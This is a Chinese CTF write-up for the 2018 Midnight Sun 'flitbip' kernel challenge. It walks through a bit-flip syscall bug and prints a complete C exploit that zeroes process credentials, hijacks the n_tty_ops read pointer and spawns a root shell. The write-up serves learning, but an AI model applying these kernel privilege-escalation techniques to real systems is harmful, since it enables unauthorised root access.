内容简介:以往多数的kernel pwn题都是基于内核扩展模块的漏洞分析,今天我们来看2018年Midnight Sun CTF一个无*.ko内核模块的题。题目下载:
0x001 前言
以往多数的kernel pwn题都是基于内核扩展模块的漏洞分析,今天我们来看2018年Midnight Sun CTF一个无*.ko内核模块的题。
题目下载:
链接: https://pan.baidu.com/s/1_DcmU8JzseiiOA7mkYQu8Q 密码:kfc8
0x002 干掉定时logout
由于内核运行一断时间后便会退出,需要解开文件系统,做一定修改
mkdir core mv ./core.cpio ./core/ cd core cpio -idmv < initrd rm initrd
一般的,我们会去看 init
文件,但貌似并没有问题
最后,我找到了 /home/flitbip
下的 .profile
文件,将第1、2行注释掉
为了后续调试方便,我在根目录新建一个 tmp
文件夹,在 init
作如下改动,让启动的内核具有root权限
重新打包
find . -print0 | cpio --null -ov --format=newc > core.cpio mv ./core.cpio .. rm -rf ../core
0x003 分析
由init看得出来,内核启动过程并未加载任何与题目相关的内核扩展模块,但 src
目录下有一个 flitbip.c
文件
这里定义了一个系统调用(系统调用号为 333
),会将参数 addr
的第 bit
位翻转
留意到 flit_cout
必须要小于 MAXFLIT = 1
,否则便会退出
绕过方法:
flit_cout
是有符号长整型,调用一次系统调用 flitbip
,将 flit_cout
最高位翻转,此时 flit_cout
为负数。
long flitbip(long *addr, long bit) { __asm__("mov rax, 333;" "syscall;" ); } int main() { ... flitbip(flit_count, 63); ... }
先调试看看是否已经绕过,用 extract-vmlinux
提取内核执行文件
当我看到这样的情况,我是一脸懵逼的
估计是generic版的内核,好吧…只能去 /proc/kallsyms
找了
/tmp # cat /proc/kallsyms | grep flit_count ffffffff818f4f78 B flit_count
EXP执行前
EXP执行后,看样子 flit_count
翻转成负数了
下面考虑如何提权:
内核中存在 n_tty_ops
这个全局指针,其指向的这片地存储着许多函数指针,我们想办法将该处的函数指针改成我们 root
函数的地址,再触发该函数。
n_tty_ops
指向的函数指针
最后,我们利用含有漏洞333号系统调用,将 n_tty_read
劫持成 root
函数提权, n_tty_read
存储在 *n_tty_ops + 0x30
0x004 ROOT
由于没有开aslr,直接将 n_tty_ops
等地址写死即可
完整的EXP
// gcc solved.c -static -masm=intel -g -o solved #include <stdio.h> #include <stdlib.h> unsigned long *flit_count = 0xffffffff818f4f78; unsigned long *n_tty_read = 0xffffffff810c8510; unsigned long *n_tty_ops = 0xffffffff8183e320; unsigned long *current_task = 0xffffffff8182e040; unsigned long user_cs, user_ss, user_rflags, user_sp; void save_status() { __asm__("mov %0, cs;" "mov %1, ss;" "mov %2, rsp;" "pushfq;" "popq %3;" :"=r"(user_cs),"=r"(user_ss),"=r"(user_sp),"=r"(user_rflags) : :"memory" ); puts("[*]status has been saved."); } void binsh() { if(!getuid()) { system("/bin/sh"); } else { puts("[*]spawn shell error!"); } exit(0); } long flitbip(long *addr, long bit) { __asm__("mov rax, 333;" "syscall;" ); } void root() { int *cred = *(unsigned long *)((char *)*current_task + 0x3c0); for(int i = 1; i < 9; i++) cred[i] = 0; *(unsigned long *)((char *)n_tty_ops + 0x30) = (unsigned long)n_tty_read; __asm__("swapgs;" "mov rax, %0;" "push rax;" "mov rax, %1;" "push rax;" "mov rax, %2;" "push rax;" "mov rax, %3;" "push rax;" "mov rax, %4;" "push rax;" "iretq;" : :"r"(user_ss),"r"(user_sp),"r"(user_rflags),"r"(user_cs),"r"(binsh) :"memory" ); } int main() { save_status(); printf("user_sp addr: %pn", user_sp); flitbip(flit_count, 63); unsigned long xor = (unsigned long)root ^ (unsigned long)n_tty_read; printf("root addr: %lxn", root); printf("root xor: %lxn", xor); for(unsigned long i = 0; i < 64; i++) { if(xor & (1ULL << (i))) flitbip((char *)n_tty_ops + 0x30, i); } scanf("%c", user_sp); while(1); return 0; }
root~
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- NULL 指针、零指针、野指针
- 将数组和矩阵传递给函数,作为C中指针的指针和指针
- C语言指针数组和数组指针
- python(函数指针和类函数指针)
- 可导致数百万玩家帐户被劫持:EA游戏帐户劫持漏洞分析
- C++ 基类指针和派生类指针之间的转换
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
网页设计创意书(卷2)
麦克尼尔 / 图灵编辑部 / 人民邮电 / 2012-1 / 49.00元
《网页设计创意书(卷2)》是《网页设计创意书》的卷2,但并非其简单补充,而是作者基于近几年网站发展新趋势的再创作。《网页设计创意书(卷2)》先讲解了如何从他人的优秀设计中寻找灵感,接着阐述了重点、对比、平衡、对齐等网站设计的基本原则,然后将网站按类型、设计元素、风格和主题、结构样式和结构元素分类,并分章介绍了每一类的设计技巧。《网页设计创意书(卷2)》语言简练,结合作者精挑细选的网站实例,通俗易懂......一起来看看 《网页设计创意书(卷2)》 这本书的介绍吧!